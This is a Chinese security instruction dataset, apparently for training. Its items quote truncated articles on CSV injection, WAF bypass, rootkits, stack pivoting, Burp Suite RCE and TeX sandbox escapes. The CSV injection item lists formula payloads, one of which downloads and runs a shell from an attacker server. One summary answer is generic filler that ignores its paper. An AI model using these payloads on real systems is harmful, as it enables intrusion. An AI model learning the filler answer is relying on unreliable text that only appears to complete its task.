- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# CSV Injection\nMany web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.\n## Exploit\nBasic exploit with Dynamic Data Exchange\n```powershell\n# pop a calc\nDDE (\"cmd\";\"/C calc\";\"!A0\")A0\n@SUM(1+1)*cmd|' /C calc'!A0\n=2+5+cmd|' /C calc'!A0\n# pop a notepad\n=cmd|' /C notepad'!'A1'\n# powershell download and execute\n=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0\n# msf smb delivery with rundll32\n=cmd|'/c rundll32.exe \\\\10.0.0.1\\3\\2\\1.dll,0'!_xlbgnm.A1\n# Prefix obfuscation and command chaining\n=AAAA+BBBB-CCCC&\"Hello\"/12345&cmd|'/c calc.exe'!A\n=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A\n+thespanishinquisition(cmd|'/c calc.exe'!A\n= cmd|'/c calc.exe'!A\n# Using rundll32 instead of cmd\n=rundll32|'URL.dll,OpenURL calc.exe'!A\n=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A\n# Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.\n= C m D | '/ c c al c . e x e ' ! A\n```\nTechnical Details of the above payload:\n- `cmd` is the name the server can respond to whenever a client is trying to access the server\n- `/C` calc is the file name which in our case is the calc(i.e the calc.exe)\n- `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data\nAny formula can be started with\n```powershell\n=\n+\n–\n@\n```\n## References\n* [OWASP - CSV Excel Macro Injection](https://owasp.org/www-community/attacks/CSV_Injection)\n* [Google Bug Hunter University - CSV Excel formula injection](https://bughunters.google.com/learn/invalid-reports/google-products/4965108570390528/csv-formula-injectio...", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# 【技术分享】Windows 键盘记录器 part2：检测\n|\n##### 译文声明\n本文是翻译文章，文章来源：eyeofrablog.wordpress.com\n原文地址：<https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/>\n译文仅供参考，具体内容表达以及含义原文为准。\n****\n译者：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)\n预估稿费：100RMB\n投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿\n传送门\n[【技术分享】Windows 键盘记录器\npart1：应用层方法](http://bobao.360.cn/learning/detail/4084.html)\n** \n**\n**0x00 前言**\n回顾[\n**第一部分**](http://bobao.360.cn/learning/detail/4084.html)，我们总结了4种Windows用户模式的键盘记录的方法，今天我们将分析每种技术的检测方式。\n测试机器：\n**0x01 SetWindowsHookEx**\n当我们使用SetWindowsHookEx注册消息钩子时，系统将我们的钩子处理函数保存在钩子链（是一个指针列表）中。因为我们能注册任何消息类型的钩子，因此，每种消息类型都有一个钩子链。因此我们的目标是：\n**系统内存中钩子链的位置（WH_KEYBOARD和WH_KEYBOARD_LL）**\n**如何找到钩子的进程名**\n对于钩子链的位置，可以参考如下：\n nt!_ETHREAD + 0x0 => nt!_KTHREAD + 0x088 => nt!_TEB + 0x40 => win32k!tagTHREADINFO + 0xCC => win32k!tagDESKTOPINFO + 0x10 => win32k!tagHOOK\n每个结构都很清楚（感谢Windows符号）。Offset值是我的测试机器的，不同的Windows版本和构建版本会不同（ntoskrnl和win32k.sys）。\n从nt!_ETHREAD看，它一定是一个GUI线程。我们能从explorer.exe中得到GUI线程，或者自己创建。\n在上面，我们能得到系统所有的全局钩子链的位置。这个有16个tagHOOK的数组指针，数组索引是WH_*消息类型的值（实际上是index=WH_*+1）。如果条目是空，我们能找到一个全局钩子链。\n从tagHook中的_THRDESKHEAD看，我们能得到设置钩子的进程的tagTHREADINFO。因此我们能得到进程ID和进程名：\n processIdOfHooker = PsGetProcessId(IoThreadToProcess((PETHREAD)(*pCurHook->head.pti)));\n扫描结果：\n好了，查找Windows全局消息钩子可以了。那么本地钩子怎么办？\n下面是本地钩子：\n nt!_ETHREAD + 0x0 => nt!_KTHREAD + 0x088 => nt!_TEB + 0x40 => win32k!tagTHREADINFO + 0x198 => win32k!tagHOOK\n和全局钩子很相似，但是你能看见本地钩子链的位置是在进程的tagTHREADINFO结构体中的，它是进程相关的。tagDESKTOPINFO中的钩子链是相同桌面下所有进程的。\n**0x02 轮询**\n我确实不知道怎么扫描这种方式。为什么？因为它直接从内部结构读取键的状态，似乎没有方式来检测。\n针对GetAsyncKeyState(), GetKeyboardState() API\nhook？可以，我们可以通过API来检测，但是我不想用它，因为针对系统所有进程全局APIhook不是个好方法。使用API\nHOOK，我们能检查频率和键盘记录键的范围。\n**0x03 Raw Input**\n我从分析user32.dll中的RegisterRawInputDevices函数开始。这个API将调用win32k.sys中的NtUserRegisterRawInputDevices。\n在一些检查之后，进入_RegisterRawInputDevices\n这里非常清楚。PsGetCurrentProcessWin32Process返回win32k!tagPROCESSINFO结构体。使用WinDbg查看偏移0x1A4：\n有个指针指向win32k!tagPROCESS_HID_TABLE。\n20-3...", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "总结这篇安全研究的主要观点", "input": "title:Quantifying the Impact of Blocklisting in the Age of Address Reuse\nauthor:Sivaramakrishnan Ramanathan and\nAnushah Hossain and\nJelena Mirkovic and\nMinlan Yu and\nSadia Afroz\nQuantifying the Impact of Blocklisting in the Age of Address\nReuse\nSivaramakrishnan\nRamanathan\nUniversity of Southern California\nsatyaman@usc.edu\nAnushah Hossain\nUC Berkeley, ICSI\nanushah@icsi.berkeley.edu\nJelena Mirkovic\nUSC Information Sciences Institute\nsunshine@isi.edu\nMinlan Yu\nHarvard University\nminlanyu@g.harvard.edu\nABSTRACT\nBlocklists, consisting of known malicious IP addresses, can be used\nas a simple method to block malicious traffic. However, blocklists\ncan potentially lead to unjust blocking of legitimate users due to IP\naddress reuse, where more users could be blocked than intended. IP\naddresses can be reused either at the same time (Network Address\nTranslation) or over time (dynamic addressing). We propose two\nnew techniques to identify reused addresses. We built a crawler\nusing the BitTorrent Distributed Hash Table to detect NATed ad-\ndresses and use the RIPE Atlas measurement logs to detect dy-\nnamically allocated address spaces. We then analyze 151 publicly\navailable IPv4 blocklists to show the implications of reused ad-\ndresses and find that 53–60% of blocklists contain reused addresses\nhaving about 30.6K–45.1K listings of reused addresses. We also find\nthat reused addresses can potentially affect as many as 78 legitimate\nusers for as many as 44 days.\nCCS CONCEPTS\n• Networks → Network measurement; • Security and privacy\n→ Network security;\nKEYWORDS\nIP address reuse, blocklists, unjust blocking\nACM Reference Format:\nSivaramakrishnan Ramanathan, Anushah Hossain, Jelena Mirkovic, Minlan\nYu, and Sadia Afroz. 2020. Quantifying the Impact of Blocklisting in the\nAge of Address Reuse. In ACM Internet Measurement Conference (IMC ’20),\nOctober 27–29, 2020, Virtual Event, USA. ACM, New York, NY, USA, 10 pages.\nhttps://doi.org/10.1145/3419394.3423657\n1 INTRODUCTION\nConsider one user’s...", "output": "这篇论文提供了重要的安全研究见解，对网络安全防护具有指导意义。", "category": "research_summary", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# 利用TFTP协议来进行DDoS放大攻击\n|\n##### 译文声明\n本文是翻译文章，文章来源：360安全播报\n原文地址：<http://securityaffairs.co/wordpress/45159/hacking/tftp-ddos-amplification-attacks.html>\n译文仅供参考，具体内容表达以及含义原文为准。\n**近期，一群来自爱丁堡龙比亚大学的安全研究专家们发现了一种基于TFTP协议的新型DDoS放大技术。**\n据有关媒体报道，有几位来自爱丁堡龙比亚大学的安全研究专家（Boris Sieklik, Richard Macfarlane以及Prof. William\nBuchanan）发现了一种能够进行DDoS放大攻击的新方法。在此之前，安全社区中的安全专家们就已经发现他们可以利用一些存在错误配置的服务协议（例如[DNS](http://securityaffairs.co/wordpress/22928/cyber-crime/dns-amplification-botnet.html)或者[网络时间协议NTP](http://securityaffairs.co/wordpress/20934/cyber-crime/symantec-network-time-protocol-ntp-reflection-ddos-attacks.html)等）来进行放大攻击。现在，安全专家又发现了，他们还可以利用TFTP协议来进行放大攻击。\n无论是基于 DNS 还是基于 NTP，其最终都是基于 UDP 协议的。在 UDP\n协议中，正常情况下客户端会发送请求包到服务端，服务端再将响应包返回至客户端，但是 UDP 协议是面向无连接的，所以客户端发送请求包的源 IP\n地址很容易进行伪造，当把源 IP地址修改为受害者的 IP地址之后，最终服务端返回的响应包就会返回到受害者的 IP地址。这就形成了一次反射攻击。\n放大攻击指的就是一次小的请求包最终会收到一个或者多个多于请求包许多倍的响应包，这样就达到了四两拨千斤的效果。\nTFTP协议（Trivial File Transfer\nProtocol），即简单文本传输协议。该协议是TCP/IP协议族中的一个用来在客户机与服务器之间进行简单文件传输的协议，它可以为用户提供简单的、开销不大的文件传输服务。TFTP协议是基于UDP协议实现的，而且此协议设计的时候是为了进行小文件传输而设计的，所以它不具备通常FTP的许多功。除此之外，它只能从文件服务器上下载或写入文件，而且不能列出目录，不进行认证。\n安全专家们发现，攻击者可以利用TFTP协议来在他们的攻击过程中获得一个显著放大的攻击向量。而且不幸的是，根据[相关的端口扫描研究报告](http://internetcensus2012.bitbucket.org/paper.html)显示，目前的互联网中存在有大约599600个开放的TFTP服务器。\n相关安全研究人员已经确认，这项技术将帮助攻击者获得相较于原始攻击向量六十倍的放大攻击向量。\n[安全研究人员Boris\nSieklik表示](http://www.theregister.co.uk/2016/03/09/trivial_ddos_amplification_method/)：“协议中所存在的这个漏洞将允许攻击者利用这些开放的TFTP服务器来对他们的DDoS攻击向量进行放大。如果所有条件均满足的话，攻击者所获得的攻击向量将会是原始攻击向量的六十倍之多。”\n除此之外，该研究人员还说到：“我对这类攻击可能产生的影响进行了研究，在对几个不同的TFTP软件进行了研究之后，我发现大多数的软件都会自动对相同的信息进行至少六次转发，而这也将有助于攻击者放大攻击向量。”\n正如我们在文中所介绍的那样，TFTP协议（简单文本传输协议）是一个简化版的FTP协议（即文本传输协议，该协议主要用于局域网的文件传输）。因此，TFTP协议则更加简单，实现起来也非常的容易，所以很多组织和机构都会选择使用TFTP服务器。\n当然了，我们也可以利用TFTP协议来传输任何类型的文件。为了实现DDoS攻击向量的放大效果，攻击者可以专门伪造一个发送至服务器端的请求信息，然后再伪造一个返回地址。这样一来，服务器所发送的响应信息将会比原始的请求信息更大，攻击者也就成功地实现了放大攻击向量的目的了。\n目前，互联网中存在有大量错误配置的服务，攻击者还可以利用这些服务来对某一特定的网站进行攻击。攻击者可以利用伪造的请求信息和响应信息来向这些网站发送垃圾信息，以实现攻击。\n安全研究人员表示，他们将会在三月份的计算机安全技术杂志中[发表](http://www.sciencedirect.com/science/articl...", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBypass WAF ⼀些姿势（⼀）\n前⾔\nWAF 除了对 post 的 payload 进⾏检测，此外还有个功能是对访问的 URL 路径进⾏限制，例如⼀些敏感路径，\nWeblogic CVE-2019-2725 的 /_async/AsyncResponseService\n/_async/AsyncResponseService 、CVE-2017-10271 的 /wls-\n/wls-\nwsat/CoordinatorPortType*\nwsat/CoordinatorPortType* 等，这样可以缓解⼀些 weblogic 版本⽆法升级或打补丁的窘境。但是在最近⼀\n次监控告警中，发现某品牌 WAF 被绕过，成功上传 webshell 。\n访问控制绕过\nWAF 规则限制访问 /_async/*\n/_async/* , 直接访问 http://x.x.x.x/_async/AsyncResponseService ， ⻚⾯⽆响应。但是如果\n对 HTTP 头进⾏改造。\n注意 http 请求⾏中，在原本协议版本 HTTP 1.1\nHTTP 1.1 后，⼜添加了 /../../_async/AsyncResponseService\n/../../_async/AsyncResponseService \nHTTP/1.1\nHTTP/1.1 ，对该报⽂进⾏重放时发现，原本⽆法访问的敏感⽬录⼜可以重新被访问了。\nGET\nGET // HTTP/1.1 /../../_async/AsyncResponseService HTTP/1.1\nHTTP/1.1 /../../_async/AsyncResponseService HTTP/1.1\nHost:\nHost: 127.0.0.1\n 127.0.0.1\nUpgrade-Insecure-Requests:\nUpgrade-Insecure-Requests: 1\n 1\nUser-Agent:\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,\n Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, \nlike Gecko) Chrome/91.0.4472.124 Safari/537.36\nlike Gecko) Chrome/91.0.4472.124 Safari/537.36\nAccept:\nAccept: \ntext/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/a\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/a\npng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\npng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding:\nAccept-Encoding: gzip, deflate\n gzip, deflate\nAccept-Language:\nAccept-Language: zh-CN,zh;q=0.9\n zh-CN,zh;q=0.9\nConnection:\nConnection: close\n close\n绕过原理\n直到写⽂章之前，我也没意识到为什么可以绕过 WAF 的访问限制，同时 weblogic 还可以正常解析。但是对⽐正常\n的响应报⽂和绕过 WAF 的响应报⽂，突然发现，weblogic 在解析请求⾏对于 URL 部分的匹配条件更宽松⼀些。如\n下是响应包对⽐：\n通过对⽐可以看出，weblogic 在定位请求⾏的 URL 部分选取了第⼀个请求⽅法与最后⼀个协议版本中间部分的内\n容，⽽中间的内容即使有空格也被转译成 ++ 号。因此重新审视 bypass WAF 的请求⾏，weblogic 会认为 URL 为 \nhttp://x.x.x.x/%20HTTP/1.1%20/../../_async/AsyncResponseService\nhttp://x.x.x.x/%20HTTP/1.1%20/../../_async/AsyncResponseService ，同时两层 ../../\n../../ 穿越\n到根⽬录，最终访问到敏感路径 /_async/AsyncResponseServ...", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nMobile Privacy: Tor On The \niPhone And Other Unusual \nDevices\nMarco Bonetti - CutAway s.r.l.\nwhoami\nMarco Bonetti\nSecurity Consultant @ CutAway s.r.l.\nmbonetti@cutaway.it\nhttp://www.cutaway.it/\nTor user & researcher @ SLP-IT\nhttp://sid77.slackware.it/\nhttp://www.slackware.it/\nhttp://twitter.com/_sid77/\nOutline\nMobile Phones (In)Security\nTor On Mobile Phones And Other Strange \nDevices\nTor On The Chumby One\nTor On Maemo And The Nokia N900\nOrbot: Tor On Android\nMobile Tor: Tor On The iPhone\nMobile Phones (In)Security\nMobile Phones Growth\nComputational power\nHigh speed data networks\n“Real” operating system\nPhones Are Personal\nRaise hand who does not own a mobile \nphone\nWe take them everywhere we go\nNever leave the house without it ;-)\nPhones Are Critical\nCall logs\nAddress book\nE-mail\nSMS\nGPS data\nDocuments\nCalendar events\nCalendar tasks\nBrowser history\nBrowser cache\nToo Much Trust\nUsers trust their phone\nPhones trust the operator\nOperators trust themselves\nUsers trust operators as well\nToo Much Trust\nToo Much Heterogeneity\nClosed communication protocols\nHeterogeneous networks\nFragmented hardware landscape\nMany different operating systems\nArchitectural Issues\nMade for chatting \nand texting\nKeyboards adopted \nto the model\nDifficult passwords \nare... difficult!\nArchitectural Issues\nPhones are mobile \ndevices\nScreen size is \nlimited\nChecking important \nstuff is nearly \nimpossible!\nWho Own The Device?\nManufacturer / vendor\n“Apple iPhone banned for ministers” (CBS, 2010)\n“Exercising Our Remote Application Removal Feature” \n(android-developers, 2010)\nCarrier operator\n“BlackBerry update bursting with spyware” (The register, \n2009)\nApplication developer\n“iPhone Privacy” (BlackHat DC, 2010)\nEnd user\nWe're here!\nData (In)Security\nData is stored in cleartext\nBlackberry and Nokia allows some sort of \nencryption\nData access is an “all or nothing” approach\nNeed permissions fine tuning\nCommunication (In)Security\nGSM has been broken\nUMTS is not feeling very well\nSMS has been abused\nMMS ...", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1\nphp⽂件上传处理流程简单分析-php在流量层⾯\n绕waf的姿势\nboundary值处理\nbody处理\nfilename的特殊处理\n作者:⽩帽酱 \nphp⽂件上传处理在 main/rfc1867.c 中的 rfc1867_post_handler函数 \n测试环境 PHP 7.1.9 \nboundary值处理 \n2\nSAPI_API SAPI_POST_HANDLER_FUNC(rfc1867_post_handler)\nC\n复制代码\nif (SG(post_max_size) > 0 && SG(request_info).content_length > \nSG(post_max_size)) {\n sapi_module.sapi_error(E_WARNING, \"POST Content-Length of \" \nZEND_LONG_FMT \" bytes exceeds the limit of \" ZEND_LONG_FMT \" bytes\", \nSG(request_info).content_length, SG(post_max_size));\n return;\n}\n/* Get the boundary */\nboundary = strstr(content_type_dup, \"boundary\");//查找是否包含boundary\nif (!boundary) {\n int content_type_len = (int)strlen(content_type_dup);\n char *content_type_lcase = estrndup(content_type_dup, \ncontent_type_len);\n php_strtolower(content_type_lcase, content_type_len);\n boundary = strstr(content_type_lcase, \"boundary\");\n if (boundary) {\n boundary = content_type_dup + (boundary - content_type_lcase);\n }\n efree(content_type_lcase);\n}\nif (!boundary || !(boundary = strchr(boundary, '='))) {//判断boundary值起始\n位置\n sapi_module.sapi_error(E_WARNING, \"Missing boundary in \nmultipart/form-data POST data\");\n return;//传⼊畸形的boundary会抛出警告 (可以⽤来检测⽬标php是否开启错误回显)\n}\nboundary++;\nboundary_len = (int)strlen(boundary);\nif (boundary[0] == '\"') {//引号包裹\n boundary++;\n boundary_end = strchr(boundary, '\"');\n if (!boundary_end) {\n sapi_module.sapi_error(E_WARNING, \"Invalid boundary in \nmultipart/form-data POST data\");\n return;\n }\n} else {//⾮引号包裹\n /* search for the end of the boundary */\n boundary_end = strpbrk(boundary, \",;\");//截⽌字符\n}\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\n33\n34\n35\n36\n37\n38\n3\n⾸先，php先从Content-Type是否包含boundary字符串 \n之后寻找等号的位置作为起始位置，获取boundary值。 \nboundary的值有引号包裹和⽆引号包裹两种情况 \n在⽆引号包裹时，可以使⽤逗号或分号作为终⽌字符。\n到这⾥就可以总结出有效boundary格式了 \n{任意字符}boundary{除等号外任意字符}=[\"]{boundary内容}[\"][[,;]{任意字符}] \nif (boundary_end) {\n boundary_end[0] = '\\0';\n boundary_len = boundary_end-b...", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nLiar! Macs have \nno viruses! \n-[ OS X Kernel Rootkits ]- \n§ Don't take me too seriously, I fuzz the Human brain! \n§ The capitalist \"pig\" degrees: Economics & MBA. \n§ Worked for the evil banking system! \n§ Security Researcher at COSEINC. \n§ \"Famous\" blogger. \n§ Wannabe rootkits book writer. \n§ Love a secondary curvy road and a 911. \nWho Am I\nPrologue\n§ OS X Kernel rootkits. \n§ Ideas to improve them. \n§ Sample applications. \n§ Raise awareness and interest in this area. \nToday's subject \nPrologue\n§ Reaching to uid=0 is your problem! \n§ The same with startup and persistency aka APT. \n§ Should be easier to find the necessary bugs. \n§ Less research = Less audits = More bugs. \n§ Main target is Mountain Lion. \n§ Also works with Mavericks (tested with DP1). \nAssumptions \n(the economist’s dirty secret that makes everything possible) \nPrologue\n§ OS X rootkits are a rare \"species\". \n§ Interesting hardware rootkits (Dino's Vitriol and \nSnare's EFI) but NO full code available L. \n§ Commercial rootkits: Crisis from Hacking Team and \nmaybe FinFisher (iOS yes, OS X never saw). \n§ Crisis is particularly bad. \n§ Not many detection tools available. \nCurrent state of the “art” \nSimple Ideas\nSimple Ideas\n§ Many interesting kernel symbols are not exported. \n§ Some are available in Unsupported & Private KPIs. \n§ Not acceptable for stable rootkits. \n§ Solving kernel symbols from a kernel extension is \npossible since Lion. \n§ Not in Snow Leopard and previous versions. \nProblem #1 \nSimple Ideas\n§ __LINKEDIT segment contains the symbol info. \n§ Zeroed up to Snow Leopard. \n§ OS.X/Crisis solves the symbols in userland and \nsends them to the kernel rootkit. \nSimple Ideas\n§ One easy solution is to read the kernel image \nfrom disk and process its symbols. \n§ The kernel does this every time we start a new \nprocess. \n§ Possible to implement with stable KPI functions. \n§ Kernel ASLR slide is easy to obtain in this \nscenario. \nSimple ...", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# 花式栈溢出技巧\n## stack pivoting\n### 原理\nstack pivoting，正如它所描述的，该技巧就是劫持栈指针指向攻击者所能控制的内存处，然后再在相应的位置进行 ROP。一般来说，我们可能在以下情况需要使用 stack pivoting\n- 可以控制的栈溢出的字节数较少，难以构造较长的 ROP 链\n- 开启了 PIE 保护，栈地址未知，我们可以将栈劫持到已知的区域。\n- 其它漏洞难以利用，我们需要进行转换，比如说将栈劫持到堆空间，从而在堆上写 rop 及进行堆漏洞利用\n此外，利用 stack pivoting 有以下几个要求\n- 可以控制程序执行流。\n- 可以控制 sp 指针。一般来说，控制栈指针会使用 ROP，常见的控制栈指针的 gadgets 一般是\n```asm\npop rsp/esp\n```\n当然，还会有一些其它的姿势。比如说 libc_csu_init 中的 gadgets，我们通过偏移就可以得到控制 rsp 指针。上面的是正常的，下面的是偏移的。\n```asm\ngef➤ x/7i 0x000000000040061a\n0x40061a <__libc_csu_init+90>:\tpop rbx\n0x40061b <__libc_csu_init+91>:\tpop rbp\n0x40061c <__libc_csu_init+92>:\tpop r12\n0x40061e <__libc_csu_init+94>:\tpop r13\n0x400620 <__libc_csu_init+96>:\tpop r14\n0x400622 <__libc_csu_init+98>:\tpop r15\n0x400624 <__libc_csu_init+100>:\tret \ngef➤ x/7i 0x000000000040061d\n0x40061d <__libc_csu_init+93>:\tpop rsp\n0x40061e <__libc_csu_init+94>:\tpop r13\n0x400620 <__libc_csu_init+96>:\tpop r14\n0x400622 <__libc_csu_init+98>:\tpop r15\n0x400624 <__libc_csu_init+100>:\tret\n```\n 此外，还有更加高级的 fake frame。\n- 存在可以控制内容的内存，一般有如下\n - bss 段。由于进程按页分配内存，分配给 bss 段的内存大小至少一个页(4k，0x1000)大小。然而一般bss段的内容用不了这么多的空间，并且 bss 段分配的内存页拥有读写权限。\n - heap。但是这个需要我们能够泄露堆地址。\n### 示例\n#### 例1\n这里我们以 [X-CTF Quals 2016 - b0verfl0w](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/stackprivot/X-CTF%20Quals%202016%20-%20b0verfl0w) 为例进行介绍。首先，查看程序的安全保护，如下\n```shell\n➜ X-CTF Quals 2016 - b0verfl0w git:(iromise) ✗ checksec b0verfl0w \n Arch: i386-32-little\n RELRO: Partial RELRO\n Stack: No canary found\n NX: NX disabled\n PIE: No PIE (0x8048000)\n RWX: Has RWX segments\n```\n可以看出源程序为 32 位，也没有开启 NX 保护，下面我们来找一下程序的漏洞\n```C\nsigned int vul()\n{\n char s; // [sp+18h] [bp-20h]@1\n puts(\"\\n======================\");\n puts(\"\\nWelcome to X-CTF 2016!\");\n puts(\"\\n======================\");\n puts(\"What's your name?\");\n fflush(stdout);\n fgets(&s, 50, stdin);\n printf(\"Hello %s.\", &s);\n fflush(stdout);\n return 1;\n}\n```\n可以看出...", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n**作者：Wfox \n原文链接：<http://noahblog.360.cn/burp-suite-rce/>**\n## 一、前言\nHeadless Chrome是谷歌Chrome浏览器的无界面模式，通过命令行方式打开网页并渲染，常用于自动化测试、网站爬虫、网站截图、XSS检测等场景。\n近几年许多桌面客户端应用中，基本都内嵌了Chromium用于业务场景使用，但由于开发不当、CEF版本不升级维护等诸多问题，攻击者可以利用这些缺陷攻击客户端应用以达到命令执行效果。\n本文以知名渗透软件Burp Suite举例，从软件分析、漏洞挖掘、攻击面扩展等方面进行深入探讨。\n## 二、软件分析\n以Burp Suite Pro v2.0beta版本为例，要做漏洞挖掘首先要了解软件架构及功能点。\n将`burpsuite_pro_v2.0.11beta.jar`进行解包，可以发现Burp\nSuite打包了Windows、Linux、Mac的Chromium，可以兼容在不同系统下运行内置Chromium浏览器。\n在Windows系统中，Burp Suite v2.0运行时会将`chromium-win64.7z`解压至`C:\\Users\\user\\AppData\\Local\\JxBrowser\\browsercore-64.0.3282.24.unknown\\`目录\n从目录名及数字签名得知Burp Suite v2.0是直接引用JxBrowser浏览器控件，其打包的Chromium版本为64.0.3282.24。\n那如何在Burp Suite中使用内置浏览器呢？在常见的使用场景中，`Proxy -> HTTP history -> Response ->\nRender`及`Repeater -> Render`都能够调用内置Chromium浏览器渲染网页。\n当Burp\nSuite唤起内置浏览器`browsercore32.exe`打开网页时，`browsercore32.exe`会创建Renderer进程及GPU加速进程。\nbrowsercore32.exe进程运行参数如下：\n // Chromium主进程\n C:\\Users\\user\\AppData\\Local\\JxBrowser\\browsercore-64.0.3282.24.unknown\\browsercore32.exe --port=53070 --pid=13208 --dpi-awareness=system-aware --crash-dump-dir=C:\\Users\\user\\AppData\\Local\\JxBrowser --lang=zh-CN --no-sandbox --disable-xss-auditor --headless --disable-gpu --log-level=2 --proxy-server=\"socks://127.0.0.1:0\" --disable-bundled-ppapi-flash --disable-plugins-discovery --disable-default-apps --disable-extensions --disable-prerender-local-predictor --disable-save-password-bubble --disable-sync --disk-cache-size=0 --incognito --media-cache-size=0 --no-events --disable-settings-window\n // Renderer进程\n C:\\Users\\user\\AppData\\Local\\JxBrowser\\browsercore-64.0.3282.24.unknown\\browsercore32.exe --type=renderer --log-level=2 --no-sandbox --disable-features=LoadingWithMojo,browser-side-navigation --disable-databases --disable-gpu-compositing --service-pipe-token=C06434E20AA8C9230D15FCDFE9C96993 --lang=zh-CN --crash-dump-dir=\"C:\\Users\\user\\AppData\\Local\\JxBrowser\" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --disab...", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的代码", "input": "", "output": "安全代码分析：\n\n/* packet-mbim.c\n * Routines for MBIM dissection\n * Copyright 2013-2016, Pascal Quantin <pascal@wireshark.org>\n *\n * Wireshark - Network traffic analyzer\n * By Gerald Combs <gerald@wireshark.org>\n * Copyright 1998 Gerald Combs\n *\n * SPDX-License-Identifier: GPL-2.0-or-later\n */\n\n/* Dissector based on MBIM specification 1.0 Errata-1 and MBIM extended version 2.0\n * http://www.usb.org/developers/devclass_docs/MBIM10Errata1_073013.zip\n * http://compliance.usb.org/mbim/\n * http://www.usb.org/developers/docs/devclass_docs/MBIMMultiflow10.zip\n *\n * https://docs.microsoft.com/en-us/windows-hardware/drivers/network/host-shutdown-device-service\n *\n * https://docs.microsoft.com/en-us/windows-hardware/drivers/network/mb-provisioned-context-operations\n * https://docs.microsoft.com/en-us/windows-hardware/drivers/network/mb-network-blacklist-operations\n * https://docs.microsoft.com/en-us/windows-hardware/drivers/network/mb-lte-attach-operations\n * https://docs.microsoft.com/en-us/windows-hardware/drivers/network/mb-multi-sim-operations\n * https://docs.microsoft.com/en-us/windows-hardware/drivers/network/mb-protocol-configuration-options-pco-operations\n * https://docs.microsoft.com/en-us/windows-hardware/drivers/network/mb-modem-reset-operations\n *\n * https://docs.microsoft.com/en-us/windows-hardware/drivers/network/mb-sar-platform-support\n *\n * https://docs.microsoft.com/en-us/windows-hardware/drivers/network/mb-low-level-uicc-access\n * https://docs.microsoft.com/en-us/windows-hardware/drivers/network/mb-uicc-application-and-file-system-access\n *\n * https://docs.microsoft.com/en-us/windows-hardware/drivers/network/mb-5g-data-class-support\n * https://download.microsoft.com/download/8/3/a/83a64106-a1f4-4a03-811f-4dbef2e3bf7a/MBIM extensions for 5G.docx\n */\n\n#include \"config.h\"\n\n#include <epan/packet.h>\n#include <epan/expert.h>\n#include <epan/asn1.h>\n#include <epan/prefs.h>\n#include <epan/reassemble.h>\n#include <epan/to_str.h>\n#include <epan/strutil.h>\n#include <epan/ipproto.h>\n#inc...", "category": "security_code_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# TeX 安全模式绕过研究\n##### 译文声明\n本文是翻译文章，文章原作者 360 Noah Lab，文章来源：360 Noah Lab\n原文地址：[360 Noah Lab](360 Noah Lab)\n译文仅供参考，具体内容表达以及含义原文为准。\n作者：Ricter Z\n## 漏洞时间线：\n * 2021/03/08 – 提交漏洞至 TeX 官方；\n * 2021/03/27 – 漏洞修复，安全版本：TeX Live 2021；\n * 2021/06/06 – 漏洞分析公开。\n## I. Tex 安全限制概述\nTeX 提供了 \\write18 原语以执行命令。为了提高安全性，TexLive\n的配置文件（texmf.cnf）提供了配置项（shell_escape、shell_escape_commands）去配置\n\\write18能否执行命令以及允许执行的命令列表。\n其中 shell_escape 有三种配置值，分别为：\n * f：不允许执行任何命令\n * t：允许执行任何命令\n * p：支持执行白名单内的命令（默认）\n白名单命令列表可以通过如下命令查询：\n kpsewhich --var-value shell_escape_commands\nshell_escape 配置值可以通过如下命令查询：\n kpsewhich --var-value shell_escape\n~~本文涉及的 CVE 如下：没 advisory 懒得申请了。~~\n## II. 挖掘思路\nTeX 提供了一个默认的白名单命令列表，如若在调用过程中，这些命令出现安全问题，则会导致 TeX 